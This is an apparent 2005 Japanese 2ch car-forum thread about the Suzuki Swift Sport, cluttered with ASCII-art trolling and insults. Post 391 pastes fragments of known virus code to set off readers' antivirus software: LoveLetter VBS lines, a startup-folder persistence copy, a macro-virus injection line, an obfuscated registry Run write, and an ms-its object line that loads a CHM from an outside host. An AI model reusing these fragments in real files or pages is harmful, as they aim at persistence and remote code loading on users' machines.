　｀ヽ：：　センス無さ杉真っ赤シート　フォーーー！！　　　　　　　　　　　 　　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

339 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:56:26 ID:0MLZ1R8q0

どうでもいいが股間の逸物が貧相過ぎ

340 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:56:52 ID:ZfnUI0fZ0

,､i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽ：：スタッドレスタイヤをSタイヤと呼ぶスイスポオーナーフォーー！！
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

341 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:57:39 ID:8AknzyEp0

AA荒らしか。

さよーなら。

342 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 22:59:40 ID:DII6rcxI0

＞AA荒らしか。
やってることは軽ススキと同じだな。

343 名前：VEGLIA：2005/09/21(水) 22:59:48 ID:1fsqxAHDO

うん、ソレなんだよね。
先月、どっかのホムペでスズキの開発関係の人が自動車評論家との対談で「要望が多ければ〜」みたいな事を言うてたんですョ。
私もソレ見た時は「要望って、どこに出せばイイんだョ！」と画面につっこんでしまいました。(;^_^A

どうすりゃ良いんでしょうね？ディーラーで試乗して「うーん。コレで３ドアだったらなー。」なんて言いながら帰っちゃうとかすれば効果的かな？
それを全国のスズキディーラーで・・・。

絶対ムリムリ・・・。（笑）

344 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:00:12 ID:5q2wqAuD0

ヴィッツＲＳとスイスポとは走りに対しての「こだわり」の差が天と地ほどの差があると思う。

345 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:00:39 ID:ZfnUI0fZ0

,､i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽ：：HID単独でつけられず　いらない真っ赤なレカロ抱き合わせ　フォーーー！！　　　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

346 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:01:08 ID:StjfInHZ0

スペック厨が正論で追い詰められて
とうとう荒らしに走り出すの図

347 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:03:01 ID:yqS6CkEY0

ヴィッツのがいいのか。

348 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:03:26 ID:texWkAgk0

田舎で試乗できない俺に教えて下さい。

好きなエンジン音＝スカイラインR32,R33、カローラレビン(4AG)
　　　　　　　　　　　 （本能的に訴えるものがある）
どちらでもない　＝シビック、インテのVTEC
嫌いな方かな　　＝レガシー、ＲＸ−７
論外　　　　　　＝エンジン音の聞こえない高級セダン

こんな俺ですがスイスポのエンジン音は合うでしょうか？

349 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:03:27 ID:0MLZ1R8q0

要望が多ければってどの程度の事を言ってるんだろうな。
確かに3ドアの方がいいけど今現在は5ドアしかないからそれでヨシとしてしまう人が多いと思うんだが。。

350 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:03:55 ID:1yR9JeCH0

>>344
胴衣
ヴィッツのカタログ引っ張り出してみたが、エンジンやサスペンションに関する説明がたったの２行だった

351 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:05:09 ID:TCbm1x3h0

>>348
知るか！試乗車来たら自分の耳で確かめろや 

352 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:06:17 ID:DII6rcxI0

＞スイスポのエンジン音は合うでしょうか？
軽ベースなのを我慢出来ないみたいだな。

353 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:07:28 ID:yqS6CkEY0

ところでＦＩＴを忘れていないか。

354 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:08:51 ID:0MLZ1R8q0

>>348
それは自分で聞いてみるしか…

355 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:11:47 ID:ZfnUI0fZ0

,､i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽ：：　　軽ベース　フォーーーーー　　　　　　　　　　　　　 　　 　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

356 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:12:38 ID:BgKK+mWw0

>>323こいつみたいな低脳信者が居るから
いつまで経っても煽りが減らないんだがな
いい加減氏んでくれ

357 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:13:55 ID:ZfnUI0fZ0

,､i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽ：：　私はあらしじゃなくてHG軽ベースラモンですよーフォーーー　　　　　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

358 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:13:56 ID:5q2wqAuD0

>>353
正直、フィットはＭＴ出しただけ、という感じだしね。

モデル末期でもあれだけ売れてるから
スポーツモデルなんて死んでも出さないだろうね。
ミニバンメーカーですし。

359 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:14:58 ID:pDfZuPfj0

昨日までも酷かったけど
今日は過去最悪だな。

360 名前：VEGLIA：2005/09/21(水) 23:15:06 ID:1fsqxAHDO

あくまでも個人的な好みですが、ハッチバックはやはり３ドアの方がカッコイイかと・・・。

でも・・・、５ドアって前席両方ともフルバケ投入しても後席が使えるよナー・・・。なーんて思っちゃうんですよね。

361 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:15:24 ID:gXJyvHeP0

362 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:17:20 ID:/rhEJOvr0

>>ヴィッツのカタログ引っ張り出してみたが、エンジンやサスペンションに関する説明がたったの２行だった

結局スイフト厨ってカタログ馬鹿なのか（笑）

363 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:17:24 ID:DII6rcxI0

＞いつまで経っても煽りが減らない
大方の人は軽ベースに気づいているからな。

364 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:17:38 ID:ZfnUI0fZ0

,､i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽ：：　軽ベース98馬力スイスポをフラッグシップモデルと発言スズキ　フォーーー　　　　　　　　　　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

365 名前：VEGLIA：2005/09/21(水) 23:19:48 ID:1fsqxAHDO

ホンダさん、もう一度GA2ｼﾃｨみたいな車作ってほしいですね。

366 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:23:04 ID:rwBWvOs90

なんだか荒れまくってた頃のアクセラスレを思い出す流れだね
何か共通するものでもあるのかな？

367 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:26:32 ID:FkrPBgfE0

生産中止になってから欲しがる馬鹿が多いね
特に某ﾊｯﾁﾊﾞｯｸのRとかに拘る人とか

368 名前：VEGLIA：2005/09/21(水) 23:27:51 ID:1fsqxAHDO

アクセラスレも荒れてたんですか・・・。
ふーむ。

ハードゲイ風のネタ、もう飽きてきましたね。
そろそろ他のやって下さい(^^)

369 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:29:03 ID:8AknzyEp0

ageて馬鹿を拾う奴もあれだな。

370 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:29:11 ID:DII6rcxI0

＞そろそろ他のやって下さい(^^)
軽ベースとかぶるならヒロスエだな。

371 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:30:53 ID:3nh/8Keo0

AA貼りまくってるZfnUI0fZ0は，
>>260 で
>>261 で
>>262
になっちゃってる過程がベタで見て取れるのがイタすぎ
変身シーンっていうのか、こういうの

372 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:32:27 ID:DII6rcxI0

＞変身シーンっていうのか、こういうの
軽ベースを全身で表現してるからな。

373 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:35:15 ID:/rhEJOvr0

＞＞生産中止になってから欲しがる馬鹿が多いね

スイフト欲しいなんて奴はココの馬鹿共以外リアルでいないって（笑）

374 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:35:59 ID:y+yin9rA0

旧スイスポとまだ勘違いしてる　　　ﾌﾟ

375 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:36:39 ID:/rhEJOvr0

安い「だけ」が取りえのスイフトなんて恥ずかしいだけじゃんｗ


ユニクロTシャツ着て喜んでるのと同じ

376 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:36:56 ID:0MLZ1R8q0

>>361のせいだと思うんだが、ギコナビで見れなくなっちまった。
みんな普通に見れてるの？

377 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:37:14 ID:DII6rcxI0

＞旧スイスポ
新型スイスポのベースだからな。

378 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:38:07 ID:TfOVlTC20

あらししてる香具師はやっぱ例のBMWMINI海苔なのか？
彼女に『スイフトのほうがｶｺｲｲ』って言われた・・・。

車を見る目がないのか、女を見る目がないのか、根性＆ﾁﾝｺがちっちゃいのか・・・。

379 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:38:14 ID:8AknzyEp0

2chの無秩序さにもあきあきしてきたな。

380 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:43:00 ID:rwBWvOs90

一応貼っておきますかね…

2ちゃんねるブラウザ　Jane View
ttp://www.geocities.jp/jview2000/

381 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:43:31 ID:pDfZuPfj0

>>376
俺はアンチヴァイルァスソフトとか入れてないから
イマもギコナビで見えてる。

382 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:44:41 ID:DII6rcxI0

＞一応貼っておきますかね…
軽ベースがバレると終わってしまうからな。

383 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:47:36 ID:0MLZ1R8q0

>>380-381
ありがとう。不勉強でスマン。
勉強してくる。

384 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:48:32 ID:1yR9JeCH0

>>376
ウチのノートン先生も勘違いして怒り出したよ

385 名前：名無しさん＠そうだドライブへ行こう：2005/09/21(水) 23:54:12 ID:HgKd7yrOO

＞旧スイスポと勘違いしてる
新も軽ベースに変わりないからな。

386 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 00:05:38 ID:22BJOw0w0

ちょっとまて、このスクリプトはﾋｭﾝ様じゃね？
懐かしの。

387 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 00:08:35 ID:JIaSEziX0

これも貼っておきますね

＜２ちゃんねるに貼られたウイルスコードに誤反応していたことがわかったら＞

インターネットエクスプローラの場合
ツール→インターネットオプション→インターネット一時ファイル、ファイルの削除
これをしないでウイルススキャンしたらインターネット一時ファイル（Temporary Internet Filesフォルダ）でウイルス反応がでます。
また、該当レスを再び読み込むとウイルス反応がでます。
２ちゃんねるブラウザを使って以下の設定をして２ちゃんねるを見ましょう。

２ちゃんねるブラウザの場合
2ちゃんねる専用ブラウザでノートンを使うと今まで取得したログが抹消されてしまい、スレを再表示した時全てが新しいレスになってしまいます、どうすれば解決できるでしょうか？
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq08
2chブラウザのログ保存フォルダを「除外」に設定。
NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。

388 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 00:08:52 ID:bx65LgHf0

>>376
ｳｲﾙｽﾊﾞｽﾀ入ってるけどギコナビ(ﾊﾞﾀ50)で見てます。

389 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 00:11:39 ID:DjvrFVAU0

カタログに載ってるCD/MDプレーヤーって5万くらいかな？

390 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 00:19:35 ID:U94LYObv0

ウィルスについて教えてくれた人ありがとう。
とりあえずノートン先生をキャンセルしてみたら見れるようになったよ。

>>389
メーカーによって違うけど、5万〜5万7千円くらい。

391 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 00:22:25 ID:PREdeOaY0

c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) 　　
ms-its:mhtml:file://c:\　
kak.hta';ken=wd+'START
End Sub
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) 　　
ms-its:mhtml:file://c:\　
kak.hta';ken=wd+'START
End Sub

392 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 00:25:38 ID:5O8MpBZY0

だからダイナパックは馬力計測が目的ではないんだって。アホな奴。
ダイナパックで98馬力なら実測120前後出てるよ。

393 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 00:32:45 ID:Gcp34WIN0

448 ：お願いします ：2005/09/21(水) 23:37:20 HOST:i58-93-168-158.s05.a001.ap.plala.or.jp
http://hobby7.2ch.net/test/read.cgi/auto/1127066562/262-265
http://hobby7.2ch.net/test/read.cgi/auto/1127066562/267-269
http://hobby7.2ch.net/test/read.cgi/auto/1127066562/332+336+338+340+345+355+357+364


削除理由・詳細・その他：
６． 連続投稿・重複
　連続投稿・コピー＆ペースト
　アスキーアート

http://qb5.2ch.net/test/read.cgi/saku/1090145627/

394 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 00:45:25 ID:PY9f0crE0

>>151
Driverやっと読みました｡
中々いいんでないかい!?

395 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 00:52:06 ID:mtAgj8AB0

軽量化した1.5のMTを出せば良かったのに

396 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 00:55:11 ID:JeEJ2m5X0

ダイナパックじゃなくてボッシュのだったら笑うけどな。

397 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 01:01:11 ID:5O8MpBZY0

まぁその内藤壺のHPにデータ出るでしょ

398 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 01:14:25 ID:zJlSCkxt0

i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽHGを削除する見覚えは何もないですよーフォーーー　
　　　ホントウのこといってるだけですよー　フォー　　　　　　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

399 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 01:31:41 ID:EQPupqCU0

スイフトスポーツ、一部の人には人気あるな。
でも、たまにCM見るけど、
見栄えは、スポーツよりノーマルの方が良くね？

しっかし、なんであんな天気の悪い日に撮影したんだか
あんなんでGOサインでるとは・・
3流メーカーたる所以か

400 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 01:36:02 ID:b0m9ShGH0

フォー　ツマラネ。アキタ。

401 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 01:38:28 ID:jbXjQECLO

天気の悪い日は塗装が良質に見える。
低コストの車だから少しでも高品質に見せたかったんじゃないだろうか？

402 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 01:39:05 ID:U94LYObv0

>>398
見覚えってなんだ？
高学歴ハードゲイなんだから言葉は正しく使わないと。

>>399
＞見栄えは、スポーツよりノーマルの方が良くね？
大半の人はそう思ってるから…
つーかこのスレでもその話は散々してるよ。

403 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 02:02:47 ID:VTT8ZR400

JWRCモデルの幅広感を完全に殺してしまったフロントマスクと、
3ドアを持ってこなかった点で、かなり興醒めしたよね。
たぶん、モンスターからいいのが出るんじゃないのかな。
6速シーケンシャルとか積んで…本気モデルが…

404 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 02:06:02 ID:EQPupqCU0

>天気の悪い日は塗装が良質に見える。

ああ、理由があったのか
でも、俺的には、マイナスイメージの方が大きいんだが。

405 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 02:13:56 ID:H8GhZnQZ0

今時いくらでも画像修正は効くけど、自然に曇り画にして
白や黄色は膨張色だから暗気味にして画を締まらせる。これ映像界の常道。

406 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 02:34:44 ID:hRAdFIbR0

スイスポをどうしても軽ベースと思いたい人がいるね。
そう思わないとやってられないってか？


買えないから

407 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 04:32:35 ID:22BJOw0w0

見覚えｸｿ aaﾏﾀﾞｰ？

408 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 05:22:00 ID:lfWYTMEYO

てか必ず３ドア出るから

409 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 05:26:20 ID:zJlSCkxt0

i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽ朝ーキターフォーーー　
　　　今日も楽しく、軽ベースのスイスポについて語らいまショー　フォー　　　　　　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

410 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 05:42:17 ID:VNrXVHU3O

ちょっとアク禁にビビっている無職のAA荒らしがいるスレはここですか？

411 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 06:26:08 ID:2/bqNKKj0

>>409
正直飽きました。
軽ベースっていう勘違いも飽きました。

よそでやってください。

412 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 08:03:16 ID:zJlSCkxt0

i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽタモさーんー　スイスポが98馬力って本当ですかー　
　　　　　　　　　　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

413 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 09:37:40 ID:+r97+/Bq0

それ以前に
先代スイフト偉大だね。
軽ベース+補強でJWRCのチャンプになれちゃうなんて。
今回専用のシャーシなのに、不運続きで可哀想だ。
まぁ、今回のスイスポとは関係ない話なんだけど。

414 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 09:41:01 ID:hRAdFIbR0

近場に展示車も試乗車もない

もっと増やせよ鈴木さｎ

415 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 09:49:37 ID:k+nMoZtl0

>>413
中途半端な知識で語るな

416 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 12:11:14 ID:gS5VXB/a0

今朝静岡県竜洋でWRC仕様みたいなスイフトが運ばれてるのを見たよ。
すれ違ってしまったので写真は撮れなかった…orz

417 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 12:27:31 ID:m8zYZXsQ0

ホンモノのスーパー１６００じゃない？

418 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 12:46:38 ID:hRAdFIbR0

試乗は出来なかったけどエンジンを掛けさせて貰った
太い排気音でレスポンスも上々

ただ、アクセルが軽すぎ（軽自動車と同じレベル）

419 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 12:51:04 ID:svMAXkur0

軽自動車の車種言えよ！
ＫトラとかワゴンＲとかジムニーとか、重さもタッチもストロークも全く違うぞ。アホか。

420 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 13:13:40 ID:NjQgyWCx0

「driver」の特集にノーマルスイスポと並べた写真があったけど
ツートンカラーの錯覚じゃなくて実際にノーマルより腰高なのな。
そんなスポーティグレードありか？　車高調買わせたいのか

421 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 13:14:42 ID:NjQgyWCx0

ノーマルスイスポって　orz

422 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 13:19:11 ID:D4eslJjR0

>>420
タイヤの外径分高くなったのかな？

423 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 13:20:40 ID:hRAdFIbR0

>419

そんな事で剥きになるなよ（笑）
必死だな。

>ＫトラとかワゴンＲとかジムニーとか

刑ばかり乗り継いできたようだな
とりあえずワゴンＲと同レベルかな
スポーティーな車は、ある程度アクセルが重い方がいいのだよ
刑しか乗った事のないﾔｼには、わからんか

424 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 13:29:21 ID:JeEJ2m5X0

>>423
アクセルが重くていいのはレスポンスがやたらいい車か馬力が有りすぎる車だ。

425 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 13:30:52 ID:D4eslJjR0

>>424
同感。
エンジンレスポンスも含めて語るべき。

426 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 13:39:25 ID:7wyAqmiO0

試乗出来なかったんだろ？
負荷の掛かってない空ぶかしでアクセルが軽いのは
当たり前と思うが…作りが安っぽいって事？

427 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 13:44:15 ID:kc8lx4jq0

軽いのは>418の脳みそ

428 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 13:44:27 ID:93SyVHS70

ここは>>418が空ぶかししてるんでうるさくて

迷惑ですね

